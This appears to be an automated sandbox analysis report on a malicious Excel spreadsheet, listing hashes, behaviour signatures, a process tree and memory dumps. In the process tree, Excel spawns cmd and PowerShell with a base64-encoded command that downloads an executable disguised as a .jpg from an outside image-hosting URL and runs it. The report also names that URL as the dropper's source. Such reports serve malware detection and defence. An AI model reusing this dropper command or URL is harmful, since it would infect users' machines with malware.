Analysis

  • max time kernel
    26s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 08:17

General

  • Target

    b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls

  • Size

    92KB

  • MD5

    088c41ef2a80c92b12bcc1f6a31503db

  • SHA1

    356529f99f1715b415cc4789f3037ccf8ba7140a

  • SHA256

    b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541

  • SHA512

    c226394f2814a342aca115f1d9fd2b47b2620636f4181e074ce54916667a24471b70560f90d0b09a809d3b5d78f4dcd94d31f7333cffbc4d0c10933d5a0f1e8b

  • SSDEEP

    1536:Ik3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCaikW3ixhZFaRRGjx0BT0TR0SHx/Ua:Ik3hOdsylKlgryzc4bNhZFGzE+cL2knt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://i.cubeupload.com/1MDiPJ.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\SysWOW64\cmd.exe
      cmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2692

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1740-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1740-1-0x000000007229D000-0x00000000722A8000-memory.dmp

    Filesize

    44KB

  • memory/1740-3-0x0000000000840000-0x0000000000940000-memory.dmp

    Filesize

    1024KB

  • memory/1740-5-0x0000000000840000-0x0000000000940000-memory.dmp

    Filesize

    1024KB

  • memory/1740-12-0x0000000000840000-0x0000000000940000-memory.dmp

    Filesize

    1024KB

  • memory/1740-13-0x0000000000840000-0x0000000000940000-memory.dmp

    Filesize

    1024KB

  • memory/1740-4-0x0000000000840000-0x0000000000940000-memory.dmp

    Filesize

    1024KB

  • memory/1740-2-0x0000000000840000-0x0000000000940000-memory.dmp

    Filesize

    1024KB

  • memory/1740-14-0x0000000005E40000-0x0000000005F40000-memory.dmp

    Filesize

    1024KB

  • memory/1740-15-0x0000000005E40000-0x0000000005F40000-memory.dmp

    Filesize

    1024KB

  • memory/1740-18-0x000000007229D000-0x00000000722A8000-memory.dmp

    Filesize

    44KB

  • memory/1740-19-0x0000000000840000-0x0000000000940000-memory.dmp

    Filesize

    1024KB

  • memory/1740-20-0x0000000005E40000-0x0000000005F40000-memory.dmp

    Filesize

    1024KB